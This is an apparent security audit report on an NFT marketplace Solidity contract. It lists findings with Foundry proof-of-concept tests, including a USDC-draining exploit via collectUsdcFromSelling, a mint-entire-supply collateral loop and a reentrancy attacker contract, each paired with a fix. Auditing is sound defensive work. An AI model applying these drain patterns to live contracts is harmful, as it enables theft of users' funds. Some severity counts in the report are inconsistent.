NFT Dealer Protocol Audit Report

Version 1.0

raihanmd.xyz

March 15, 2026

NFT Dealer Protocol Audit Report

Raihanmd

March 13, 2026

Prepared by: Raihanmd Lead Security Researcher:

- raihanmd

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - Critical
    * [C-1] Cancel lisitng sending lock amount to whitelisted user (seller), allowing whitelisted user to mint entire MAX_SUPPLY with minimal capital
    * [C-2] Seller can steal other users' USDC by calling collectUsdcFromSelling() after cancelling a listing
  - High

    * [H-1] Inconsistent mapping key between `NFTDealers::list()` and `NFTDealers::buy()`, `NFTDealers::cancelListing()` and any other function that need to get nft data causes all listings to be permanently unreachable
    * [H-2] `NFTDealers::updatePrice()` missing `MIN_PRICE` check allows seller to bypass minimum price enforcement
  - Medium
    * [M-1] No burn mechanism causes minting collateral to be permanently locked if NFT is never sold
  - Low
    * [L-1] `NFTDealers::list()` missing `onlyWhenRevealed` modifier allows listing before collection is revealed
    * [L-2] `uint32` price type caps maximum listing price at ~4,294 USDC
    * [L-3] Constructor missing zero address validation for `_owner` and `_usdc` parameters
    * [L-4] `NFTDealers::mintNft()` and `NFTDealers::buy()` are marked `payable` with no ETH handling causing permanent ETH loss
  - Informational
    * [I-1] `NFTDealers::calculateFees()` debug function left in production code exposes internal fee logic
    * [I-2] `metadataFrozen` variable declared but never enforced allowing owner to change collection image at any time
    * [I-3] Redundant `require(_price > 0)` in `NFTDealers::list()` wastes gas
    * [I-4] `NFT_Dealers_Sold` event missing `listingId` and `tokenId` making off-chain tracking unreliable
    * [I-5] `NFTDealers::buy()` violates CEI pattern via `_safeTransfer()` enabling reentrancy
  - Gas Optimization
    * [G-1] Use custom errors instead of `require` string messages to reduce gas costs

Protocol Summary

NFT Dealers is a NFT marketplace with pre-set supply, and resell option with `Progressive fee` 1, 3 or 5%. Collecting base price/collateral on minting. NFTs can be sold by users on any price, but the fee will grow with the resell price. Can be used for in-game events, ticketing system, no limited to any specific purpose.

The protocol have 2 phases:

1. Preparation phase. The protocol is deployed but not `revealed`, before revealing few things can be done:

- owner whitelists wallets that can mint NFTs

2. The protocol is `revealed`:

- whitelisted users can mint NFTs
- users that are whitelisted can now list NFTs for secondary sell.
- users can buy from listings
- owner can withdraw fees
- owner can remove wallets from whitelist at any time.

Disclaimer

The raihanmd team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: f34038b7b948d0902ef5ae99e9f1a4964bd3cdb5

Scope

- In Scope:

```
./src/
#-- MockUSDC.sol
#-- NFTDealers.sol
```

- Solc Version: ^0.8.34
- Chain(s) to deploy contract to: Ethereum

Roles

There are 3 types of actors in the protocol:

Actors:

1. Owner

- deploy the smart contract and set parameters (collateral, collection name, image, symbol, etc.)
- whitelist or remove from whitelist wallets
- `reveal` the protocol
- withdraw fees

2. Whitelisted user/wallet

- mint NFT
- buy, update price, cancel listing, list NFT
- collect USDC after selling

3. Non whitelisted user/wallet

- cannot mint
- buy, update price, cancel listing, list NFT
- collect USDC after selling

Executive Summary

We spent 4 hour with 1 security researcher, we are using tools foundry as a framework for testing

Issues found

Severity	Number of issues found
HIGH	4
MEDIUM	1
LOW	4
INFO	5
GAS OPT	1
TOTAL	15

Findings

Critical

[C-1] Cancel lisitng sending lock amount to whitelisted user (seller), allowing whitelisted user to mint entire MAX_SUPPLY with minimal capital

Description:

`NFTDealers::cancelListing()` incorrectly returns the minting collateral (`lockAmount`) back to the seller upon listing cancellation. The collateral was originally designed to be locked for the lifetime of the NFT, not the lifetime of the listing. This allows any whitelisted user to repeatedly mint and cancel listings to recycle the same USDC collateral indefinitely.

```
function cancelListing(uint256 _listingId) external {
    Listing memory listing = s_listings[_listingId]; //! @> same as line 154
    if (!listing.isActive) revert ListingNotActive(_listingId);
    require(listing.seller == msg.sender, "Only seller can cancel listing");

    s_listings[_listingId].isActive = false;
    activeListingsCounter--;

    usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]); // @>
    collateralForMinting[listing.tokenId] = 0;

    emit NFT_Dealers_ListingCanceled(_listingId);
```

```
}
```

Risk:

An whitelisted user with only `lockAmount` (20 USDC) can mint the entire `MAX_SUPPLY` of 1000 NFT by repeating the pattern: `mintNft()> list()> cancelListing()`. This completely allowing 1 whitelisted user to hold all the `MAX_SUPPLY` NFT

Proof of Concept:

1. Attacker is whitelisted with only 20 USDC
2. Call `mintNft()` - pays 20 USDC collateral, receives tokenId #1
3. Call `list(1, price)` - listing created
4. Call `cancelListing(1)` - receives 20 USDC collateral back
5. Repeat steps 2-4 until tokenId #1000 (MAX_SUPPLY)
6. Attacker now owns entire collection, spending only 20 USDC total

PoC

```

function test_bloatingMaxSupplyJust20USDC() public whitelisted richWhitelisted revealed {
    // userWithCash exploit to mint all MAX_SUPPLY on her own
    for (uint256 i; i < nftDealers.MAX_SUPPLY(); ++i) {
        vm.startPrank(userWithCash);
        usdc.approve(address(nftDealers), type(uint256).max);
        nftDealers.mintNft();

        uint256 tokenId = i + 1; // internal calculation nftDealers tokenId

        nftDealers.list(tokenId, uint32(nftDealers.MIN_PRICE()));
        nftDealers.cancelListing(tokenId);
        vm.stopPrank();

        assertEq(nftDealers.ownerOf(tokenId), userWithCash);
    }

    // now userWithEvenMoreCash turn to try mint NFT
    vm.startPrank(userWithEvenMoreCash);
    usdc.approve(address(nftDealers), type(uint256).max);
    vm.expectRevert();
    nftDealers.mintNft();
}
```

Recommended Mitigation:

Collateral should be locked for the lifetime of the NFT, not the listing. Remove collateral return from `cancelListing()` and instead implement a `burnNft()` function that returns collateral only when

the NFT is destroyed:

```
function cancelListing(uint256 _listingId) external {
    // ...
    s_listings[_listingId].isActive = false;
    activeListingsCounter--;
-   usdc.safeTransfer(listing.seller, collateralForMinting[listing.
    tokenId]);
-   collateralForMinting[listing.tokenId] = 0;

    emit NFT_Dealers_ListingCanceled(_listingId);
}

+ function burnNft(uint256 _tokenId) external {
+   require(ownerOf(_tokenId) == msg.sender, "Not owner of NFT");
+   uint256 collateral = collateralForMinting[_tokenId];
+   collateralForMinting[_tokenId] = 0;
+   _burn(_tokenId);
+   usdc.safeTransfer(msg.sender, collateral);
+ }
```

[C-2] Seller can steal other users' USDC by calling collectUsdcFromSelling() after cancelling a listing

Description:

`NFTDealers::collectUsdcFromSelling()` only check `!listing.isActive` for validate eligibility seller for colelcting their money. Because `NFTDealers::cancelListing()` also set `isActive` = **`false`**, seller can call `collectUsdcFromSelling()` after cancel listing even there is no buyer. Because of this seller can steal `listing.price`, USDC from other people that behalf on contract.

Root cause:

`NFTDealers::buy()` and `NFTDealers::cancelListing()` both only set `isActive` = **`false`** without different state, therefor `collectUsdcFromSelling()` cant spot a different wether listing is truly sold, or just canceled listing.

```
// buy()
function buy(uint256 _listingId) external payable {
  bool success = usdc.transferFrom(msg.sender, address(this), listing.
      price);
  // ...
  s_listings[_listingId].isActive = false; // @>
}

// cancelListing()
```

```
function cancelListing(uint256 _listingId) external {
  // ...
  s_listings[_listingId].isActive = false; // @> exact same
  collateralForMinting[listing.tokenId] = 0;
  usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
}

// collectUsdcFromSelling() true in that two different scenarios
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
  require(!listing.isActive, "Listing must be inactive to collect USDC"); // @> no sold vs cancelled check

  uint256 fees = _calculateFees(listing.price);
  uint256 amountToSeller = listing.price - fees; // @> listing.price never transfered to contract
  uint256 collateralToReturn = collateralForMinting[listing.tokenId];
  amountToSeller += collateralToReturn;

  usdc.safeTransfer(address(this), fees);    // @> another weird calculation
  usdc.safeTransfer(msg.sender, amountToSeller); // @> drain others USDC
}
```

Impact:

- Seller can steal `listing.price - fees` from contract without any settlement from buyer
- USDC that stealed is on behalf of other legitimate seller/buyer (from legitimate `buy()`)
- More higher `listing.price` that attacker set, more high can be stolen USDC per call
- USDC contract can be drained

Proof of Concept:

1. Attacker mints NFT, paying 20 USDC collateral
2. Calls `list(tokenId, 1000e6)`
3. Calls `cancelListing()` -> `isActive` set to **`false`**
4. Calls `collectUsdcFromSelling()` -> receives `1000e6 +20e6` from contract balance
5. Calls `collectUsdcFromSelling()` again -> `collateralForMinting` still not reset, drains another `20e6`
6. Repeat step 5 until contract is empty

PoC

```

function test_drainingUSDCContractWith_collectUsdcFromSelling() public whitelisted richWhitelisted revealed {
```

```
    vm.startPrank(userWithCash);
    usdc.approve(address(nftDealers), type(uint256).max);
    nftDealers.mintNft();
    uint256 tokenId = 1; // since this is the first NFT mint ever so we can easily know the id
    nftDealers.list(tokenId, 100e6);
    nftDealers.cancelListing(tokenId);

    (address seller, uint32 price,, uint256 _tokenId, bool isActive) = nftDealers.s_listings(tokenId);

    assertEq(seller, userWithCash);
    assertEq(price, 100e6);
    assertEq(_tokenId, tokenId);
    assertEq(isActive, false);

    // =============
    // Attack Begin
    // =============

    // Supply nftDealers with dozens of usdc

    usdc.mint(address(nftDealers), 20e6 * 100);

    uint256 initialContractUSDC = usdc.balanceOf(address(nftDealers));
    uint256 initialUserUSDC = usdc.balanceOf(userWithCash);

    console.log("Initial Contract USDC balance: ", initialContractUSDC / 1e6); // Just use USDC with no floating poitn for easier display to read
    console.log("Initial User USDC balance: ", initialUserUSDC / 1e6);

    for (uint256 i; i < 20; i++) {
        console.log("Attempt: ", i);
        nftDealers.collectUsdcFromSelling(tokenId);
    }

    uint256 afterContractUSDC = usdc.balanceOf(address(nftDealers));
    uint256 afterUserUSDC = usdc.balanceOf(userWithCash);

    console.log("after Contract USDC balance: ", afterContractUSDC / 1e6);
    console.log("after User USDC balance: ", afterUserUSDC / 1e6);

    assertGt(afterUserUSDC, 20e6); // User can get greater that 20e6 that he only just own in the first place
}
```

Recommended Mitigation:

Introduce a dedicated `ListingStatus` enum to differentiate between active, sold, and cancelled

states. Also reset `collateralForMinting` after collection:

```
+ enum ListingStatus { Active, Sold, Cancelled }

struct Listing {
    address seller;
    uint32 price;
    uint256 tokenId;
-   bool isActive;
+   ListingStatus status; // replace bool isActive
}

// buy()
- s_listings[_listingId].isActive = false;
+ s_listings[_listingId].status = ListingStatus.Sold;

// cancelListing()
- s_listings[_listingId].isActive = false;
+ s_listings[_listingId].status = ListingStatus.Cancelled;

// collectUsdcFromSelling()
- require(!listing.isActive, "Listing must be inactive to collect USDC"
    );
+ require(listing.status == ListingStatus.Sold, "NFT must be sold to
    collect USDC");
```

High

[H-1] Inconsistent mapping key between `NFTDealers::list()` and `NFTDealers::buy()`, `NFTDealers::cancelListing()` and any other function that need to get nft data causes all listings to be permanently unreachable

Description:

In `NFTDealers::list()`, listings are stored in `s_listings` using `_tokenId` as the mapping key, but the `NFT_Dealers_Listed` event emits `listingsCounter` as the listing identifier. When a buyer calls `NFTDealers::buy()` using the `listingId` obtained from the event, `s_listings[_listingId]` returns an empty struct since the actual data is stored under `_tokenId`. The same inconsistency propagates to `cancelListing()` and `collectUsdcFromSelling()`.

```
// stores with tokenId as key
s_listings[_tokenId] = Listing({...});

// but emits listingsCounter as identifier
emit NFT_Dealers_Listed(msg.sender, listingsCounter); // @>
```

```
// buy() lookups with listingId from event > always empty
Listing memory listing = s_listings[_listingId]; // @>
if (!listing.isActive) revert ListingNotActive(_listingId); // always
    reverts
```

Impact:

Any buyer relying on the emitted `listingId` to call `NFTDealers::buy()` will always receive an empty listing causing the transaction to always revert with `ListingNotActive`. This effectively **breaks the core marketplace functionality** - no NFT can be purchased through the intended flow.

Proof of Concept:

1. User 1 mint 2 nft, but only list 1
2. User 2 mint 1 nft and list em
3. Form user 2 list call successfull, event emited that listingId is 2
4. Buyer want to buy NFT that listed by user 2
5. Because inconsistency of mapping on storing in list and get, log from other func, become s_lisitngs[2] is on default state

PoC

```

function test_inconsistentMappingKey() public whitelisted
    richWhitelisted revealed {
    // Approve
    vm.prank(userWithCash);
    usdc.approve(address(nftDealers), type(uint256).max);

    vm.prank(userWithEvenMoreCash);
    usdc.approve(address(nftDealers), type(uint256).max);

    // userWithEvenMoreCash mint 2 nft, list only 1
    vm.startPrank(userWithEvenMoreCash);
    nftDealers.mintNft(); // tokenId -> 1
    nftDealers.mintNft(); // tokenId -> 2
    nftDealers.list(1, 100e6); // -> s_listings 1
    // emited NFT_Dealers_Listed(msg.sender, listingsCounter -> 1);
    vm.stopPrank();

    // userWithCash mint and list
    vm.startPrank(userWithCash);
    nftDealers.mintNft(); // tokenId -> 3
    nftDealers.list(3, 100e6); // -> s_listings 3
    // emited NFT_Dealers_Listed(msg.sender, listingsCounter -> 2);
    vm.stopPrank();

    // user that want to buy NFT that listed by userWithCash wich
        logged as 2 (listingCounter), expect to get buy(uint256
```

```
        _listingId) or any other that have _lisitngId params, with 2

    /**
     * but the reality when
     * Listing memory listing = s_listings[_listingId];
     * the s_lisitng[2] is nothing, becauce here is the state that we currently on
     * nftDealers.list(1, 100e6); // -> s_listings 1
     * nftDealers.list(3, 100e6); // -> s_listings 3
     */

    address buyer = makeAddr("buyer");

    usdc.mint(buyer, 100e6);

    vm.prank(buyer);
    vm.expectRevert();
    nftDealers.buy(2);
}
```

Recommended Mitigation:

Use `listingsCounter` as the consistent mapping key across all functions:

```
function list(uint256 _tokenId, uint32 _price) external onlyWhitelisted {
    listingsCounter++;
    activeListingsCounter++;

-   s_listings[_tokenId] = Listing({
+   s_listings[listingsCounter] = Listing({
        seller: msg.sender,
        price: _price,
        nft: address(this),
        tokenId: _tokenId,
        isActive: true
    });

+   emit NFT_Dealers_Listed(msg.sender, listingsCounter);
}
```

[H-2] `NFTDealers::updatePrice()` missing `MIN_PRICE` check allows seller to bypass minimum price enforcement

Description:

`NFTDealers::updatePrice()` only validates that `_newPrice > 0`, while `NFTDealers::list()` enforces `_price >= MIN_PRICE` (1 USDC). This inconsistency allows a seller to first create

a valid listing meeting the minimum price requirement, then immediately update the price to any value above zero - effectively bypassing the `MIN_PRICE` invariant entirely.

```
function list(uint256 _tokenId, uint32 _price) external onlyWhitelisted {
    require(_price >= MIN_PRICE, "Price must be at least 1 USDC"); //* inforced here
}

function updatePrice(uint256 _listingId, uint32 _newPrice) external onlySeller(_listingId) {
    require(_newPrice > 0, "Price must be greater than 0"); // @> MIN_PRICE not enforced
}
```

Impact:

Sellers can list NFTs at 1 wei USDC after initial listing, effectively gifting NFTs or manipulating the marketplace below the protocol's intended minimum price floor.

Proof of Concept:

1. Seller calls `NFTDealers::list(tokenId, 1e6)` - passes `MIN_PRICE` check
2. Seller immediately calls `NFTDealers::updatePrice(listingId, 1)` - sets price to 1 wei
3. Buyer calls `NFTDealers::buy()` - purchases NFT for 1 wei USDC

Recommended Mitigation:

Apply the same `MIN_PRICE` validation in `NFTDealers::updatePrice()`:

```
function updatePrice(uint256 _listingId, uint32 _newPrice) external onlySeller(_listingId) {
+   require(_newPrice >= MIN_PRICE, "Price must be at least 1 USDC");
    // ...
}
```

Medium

[M-1] No burn mechanism causes minting collateral to be permanently locked if NFT is never sold

Description:

`NFTDealers` has no `burnNft()` function. The only way for a minter to recover their `lockAmount` collateral is to sell the NFT via `collectUsdcFromSelling()`. If a whitelisted user mints an NFT and never lists or sells it, their collateral is permanently locked in the contract with no recovery path.

Impact:

Any user who mints an NFT but decides not to sell it - or cannot sell it due to market conditions - will permanently lose their `lockAmount` collateral. This is an unexpected financial loss not communicated by the protocol design and may constitute a significant user fund lockup depending on `lockAmount` value.

Recommended Mitigation:

Implement a `burnNft()` function that allows NFT owners to burn their token and recover collateral:

```
+function burnNft(uint256 _tokenId) external {
+   require(ownerOf(_tokenId) == msg.sender, "Not owner of NFT");
+   require(s_listings[_tokenId].isActive == false, "Cancel listing
    first");
+
+   uint256 collateral = collateralForMinting[_tokenId];
+   collateralForMinting[_tokenId] = 0;
+   _burn(_tokenId);
+   usdc.safeTransfer(msg.sender, collateral);
+}
```

Low

[L-1] `NFTDealers::list()` missing `onlyWhenRevealed` modifier allows listing before collection is revealed

Description:

`NFTDealers::mintNft()` correctly enforces `onlyWhenRevealed` to prevent minting before the collection is revealed. However, `NFTDealers::list()` does not apply the same modifier, creating an inconsistency where NFTs could theoretically be listed for sale before the collection reveal state is active.

```
function mintNft() external payable onlyWhenRevealed onlyWhitelisted {
    /* corrent pattern */ }
function list(uint256 _tokenId, uint32 _price) external onlyWhitelisted
     { /* @> missing  onlyWhenRevealed */ }
```

Impact:

Low - while whitelisted users cannot mint before reveal, the missing modifier creates an inconsistent protocol state machine that violates the intended reveal-before-trade design.

Recommended Mitigation:

Add `onlyWhenRevealed` modifier to `NFTDealers::list()`:

```
+function list(uint256 _tokenId, uint32 _price) external
    onlyWhitelisted onlyWhenRevealed {}
```

[L-2] `uint32` price type caps maximum listing price at ~4,294 USDC

Description:

The `price` field in the `Listing` struct and the parameters of `list()` and `updatePrice()` are typed as `uint32`. The maximum value of `uint32` is `4,294,967,295`, which with USDC's 6 decimal places equates to a maximum price of approximately **4,294 USDC**. This severely limits the protocol's ability to handle high-value NFT sales.

```
struct Listing {
    uint32 price; // @> max ~4,294 USDC
}

function list(uint256 _tokenId, uint32 _price) external onlyWhitelisted
    {}
function updatePrice(uint256 _listingId, uint32 _newPrice) external
    onlySeller(_listingId) {}
```

Impact:

NFTs cannot be listed above ~4,294 USDC, limiting the protocol's addressable market and preventing high-value trades entirely.

Recommended Mitigation:

Change price type to `uint256` throughout:

```
+struct Listing {
+  uint256 price;
+}
```

and any other function that using price mechanism

[L-3] Constructor missing zero address validation for `_owner` and `_usdc` parameters

Description:

`NFTDealers` constructor sets `owner` and `usdc` from provided parameters without validating against the zero address. If either is set to `address(0)` - whether by mistake or misconfiguration - the contract will be permanently broken with no upgrade path since both are effectively immutable after deployment.

```
constructor(address _owner, address _usdc, ...) {
    owner = _owner; // @> no zero address check
    usdc = IERC20(_usdc); // @> no zero address check
}
```

Recommended Mitigation:

```
constructor(address _owner, address _usdc, ...) {
+   if (_owner == address(0)) revert InvalidAddress();
+   if (_usdc == address(0)) revert InvalidAddress();
    owner = _owner;
    usdc = IERC20(_usdc);
}
```

[L-4] `NFTDealers::mintNft()` and `NFTDealers::buy()` are marked `payable` with no ETH handling causing permanent ETH loss

Description:

`NFTDealers::mintNft()` and `NFTDealers::buy()` are marked `payable` despite the protocol exclusively using USDC for all payment flows. The `payable` keyword explicitly allows ETH to be sent alongside these calls, unlike non-payable functions which automatically revert on ETH receipt at the compiler level. However, the contract contains no `receive()` `fallback()`, no `withdraw()` function, and no `msg.value` validation, meaning any ETH sent to these functions becomes permanently locked with no recovery path.

```
function mintNft() external payable onlyWhenRevealed onlyWhitelisted {
    /* @> payable */ }
function buy(uint256 _listingId) external payable { /* @> payable */ }
```

Impact:

Users who accidentally send ETH alongside their transaction will permanently lose those funds with no recovery path. The contract has no `withdraw` function for ETH and no way for the owner to recover stuck ETH.

Recommended Mitigation:

Remove `payable` modifier from both functions since ETH payments are not intended:

```
+function mintNft() external onlyWhenRevealed onlyWhitelisted { }
+function buy(uint256 _listingId) external { }
```

Informational

[I-1] `NFTDealers::calculateFees()` debug function left in production code exposes internal fee logic

Description:

`NFTDealers::calculateFees()` is a public wrapper around `_calculateFees()` that the developer explicitly marked with a `TODO` comment to remove before production. Leaving this function deployed unnecessarily exposes internal fee calculation logic and increases the contract's attack surface.

```
// TODO notes on it, should be removed before prod @>
function calculateFees(uint256 price) external pure returns (uint256) {
    return _calculateFees(price);
}
```

Recommended Mitigation:

Remove `calculateFees()` before production deployment. Fee calculation can be verified through test suites without needing a public function.

[I-2] `metadataFrozen` variable declared but never enforced allowing owner to change collection image at any time

Description:

`NFTDealers` declares a `metadataFrozen` boolean that implies metadata immutability functionality, but no function ever reads or sets this variable. The `collectionImage` used in `_baseURI()` can be changed freely by the owner at any time, creating a potential rug vector where the owner could swap collection artwork after mint.

```
bool public metadataFrozen; // @> declared but never used

function _baseURI() internal view override returns (string memory) {
    return collectionImage; // owner can change this anytime
}
```

Recommended Mitigation:

Implement `metadataFrozen` enforcement with a freeze function:

```
+function freezeMetadata() external onlyOwner {
+   metadataFrozen = true;
+}

```

```
+function setCollectionImage(string memory _newImage) external onlyOwner {
+    require(!metadataFrozen, "Metadata is frozen");
+    collectionImage = _newImage;
+}
```

[I-3] Redundant `require(_price > 0)` in `NFTDealers::list()` wastes gas

Description:

`NFTDealers::list()` contains two price validation checks where the second is completely redundant. Since `MIN_PRICE = 1e6`, any price passing the first check is guaranteed to be greater than zero.

```
require(_price >= MIN_PRICE, "Price must be at least 1 USDC"); // MIN_PRICE = 1e6
// ...
require(_price > 0, "Price must be greater than 0"); // @> never reachable
```

Recommended Mitigation:

Remove the redundant check:

```
-require(_price > 0, "Price must be greater than 0");
```

[I-4] `NFT_Dealers_Sold` event missing `listingId` and `tokenId` making off-chain tracking unreliable

Description:

The `NFT_Dealers_Sold` event only emits `soldTo` and `price`, omitting both `listingId` and `tokenId`. This makes it impossible for off-chain indexers or subgraphs to reliably reconstruct the full lifecycle of a listing solely from events.

```
// Missing listingId and tokenId
event NFT_Dealers_Sold(address indexed soldTo, uint256 price); // @>

// Compare with other events that include listingId:
event NFT_Dealers_Listed(address indexed listedBy, uint256 listingId);
event NFT_Dealers_ListingCanceled(uint256 listingId);
```

Recommended Mitigation:

```
+event NFT_Dealers_Sold(address indexed soldTo, uint256 indexed listingId, uint256 indexed tokenId, uint256 price);
```

[I-5] `NFTDealers::buy()` violates CEI pattern via `_safeTransfer()` enabling reentrancy

Description:

`buy()` violates CEI pattern, `isActive` set after `_safeTransfer()` creating a state inconsistency window, where a malicious ERC721 receiver contract can observe stale state during `onERC721Received()` callback

```
function buy(uint256 _listingId) external payable {
    // ...
    usdc.transferFrom(msg.sender, address(this), listing.price);
    _safeTransfer(listing.seller, msg.sender, listing.tokenId, ""); // @> callback here

    s_listings[_listingId].isActive = false; // @> state updated too late
}
```

Impact:

A malicious buyer contract can re-enter `NFTDealers::buy()` during `onERC721Received()` callback. However, since the NFT has already transferred to the attacker on the first call, the second `_safeTransfer()` will revert as the seller is no longer the owner. The attacker ends up paying double for the same NFT - so the practical impact is self-harm rather than protocol drain. Severity is reduced to Low due to no financial gain and self-destructive nature of the exploit.

Proof of Concept

```
contract BuyAttacker {
    NFTDealers target;
    IERC20 usdc;
    uint256 targetListingId;
    bool attacked;

    constructor(address _target, address _usdc) {
        target = NFTDealers(_target);
        usdc = IERC20(_usdc);
    }

    function attack(uint256 _listingId) external {
        targetListingId = _listingId;
        // approve enough USDC for 2x price (double payment scenario)
        usdc.approve(address(target), type(uint256).max);
        target.buy(_listingId);
    }

    function onERC721Received(
        address operator,
        address from,
```

```
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        // isActive is still true here - re-enter buy()
        if (!attacked) {
            attacked = true;
            target.buy(targetListingId); // re-enter with same listingId
            // this will revert on _safeTransfer
            // because seller no longer owns the NFT
            // attacker has paid listing.price twice
        }
        return this.onERC721Received.selector;
    }
}
```

Attack flow:

1. Deploy `BuyAttacker`, fund with `2x listing.price` USDC
2. Call `BuyAttacker::attack(listingId)`
3. First `buy()` - USDC transferred, NFT transferred to `BuyAttacker`, callback triggered
4. Inside `onERC721Received` - `isActive` still **`true`**, re-enter `buy()`
5. Second 'buy()' - USDC transferred again, '_safeTransfer' reverts (seller no longer owner)
6. Entire second re-entry reverts, but **first call already succeeded**
7. Net result: attacker paid 'listing.price' once, owns NFT - **no gain, no protocol loss**

Recommended Mitigation:

Follow CEI pattern - update `isActive` before any external calls:

```
function buy(uint256 _listingId) external {
    Listing memory listing = s_listings[_listingId];
    if (!listing.isActive) revert ListingNotActive(_listingId);
    require(listing.seller != msg.sender, "Seller cannot buy their own NFT");

    // Effects first
+   s_listings[_listingId].isActive = false;
+   activeListingsCounter--;

    // Interactions last
+   usdc.transferFrom(msg.sender, address(this), listing.price);
+   _safeTransfer(listing.seller, msg.sender, listing.tokenId, "");

    emit NFT_Dealers_Sold(msg.sender, listing.price);
}
```

Gas Optimization

[G-1] Use custom errors instead of `require` string messages to reduce gas costs

Description:

Throughout `NFTDealers`, most revert conditions use `require` with string error messages. Since Solidity 0.8.4, custom errors are available and significantly cheaper than string messages because they do not need to store and return the full string in revert data. The contract already defines some custom errors but inconsistently applies them.

```
// Current - expensive string storage
require(owner == msg.sender, "Only owner can call this function");
require(isCollectionRevealed, "Collection is not revealed yet");
require(whitelistedUsers[msg.sender], "Only whitelisted users can call
    this function");
require(tokenIdCounter < MAX_SUPPLY, "Max supply reached");
require(msg.sender != owner, "Owner can't mint NFTs");
require(usdc.transferFrom(...), "USDC transfer failed");
require(_price >= MIN_PRICE, "Price must be at least 1 USDC");
require(_price > 0, "Price must be greater than 0");
require(ownerOf(_tokenId) == msg.sender, "Not owner of NFT");
require(listing.seller != msg.sender, "Seller cannot buy their own NFT"
    );
require(listing.seller == msg.sender, "Only seller can cancel listing")
    ;
require(!listing.isActive, "Listing must be inactive to collect USDC");
require(totalFeesCollected > 0, "No fees to withdraw");
```

```
// Already defined but underused
error InvalidAddress();
error ListingNotActive(uint256 listingId);
```

Recommended Mitigation:

Define and use custom errors throughout:

```
// Define all custom errors at contract level
+error NFTDealers__OnlyOwner();
+error NFTDealers__CollectionNotRevealed();
+error NFTDealers__NotWhitelisted();
+error NFTDealers__MaxSupplyReached();
+error NFTDealers__OwnerCannotMint();
+error NFTDealers__TransferFailed();
+error NFTDealers__PriceBelowMinimum();
+error NFTDealers__NotTokenOwner();
+error NFTDealers__SellerCannotBuy();
+error NFTDealers__OnlySeller();
+error NFTDealers__ListingNotSold();
```

```
+error NFTDealers__NoFeesToWithdraw();

// Then replace all require strings:
+modifier onlyOwner() {
+  if (owner != msg.sender) revert NFTDealers__OnlyOwner();
+  _;
+}

+modifier onlyWhenRevealed() {
+   if (!isCollectionRevealed) revert NFTDealers__CollectionNotRevealed();
+   _;
+}

+modifier onlyWhitelisted() {
+   if (!whitelistedUsers[msg.sender]) revert NFTDealers__NotWhitelisted();
+   _;
+}

+function mintNft() external onlyWhenRevealed onlyWhitelisted {
+    if (tokenIdCounter >= MAX_SUPPLY) revert NFTDealers__MaxSupplyReached();
+    if (msg.sender == owner) revert NFTDealers__OwnerCannotMint();
+    // ...
+}
```

Gas Savings Estimate:

Type	Deployment Cost	Runtime Cost
`require` with string	Higher - string stored in bytecode	~3 gas per character on revert
Custom error	Lower - only 4 byte selector	Fixed low cost regardless of params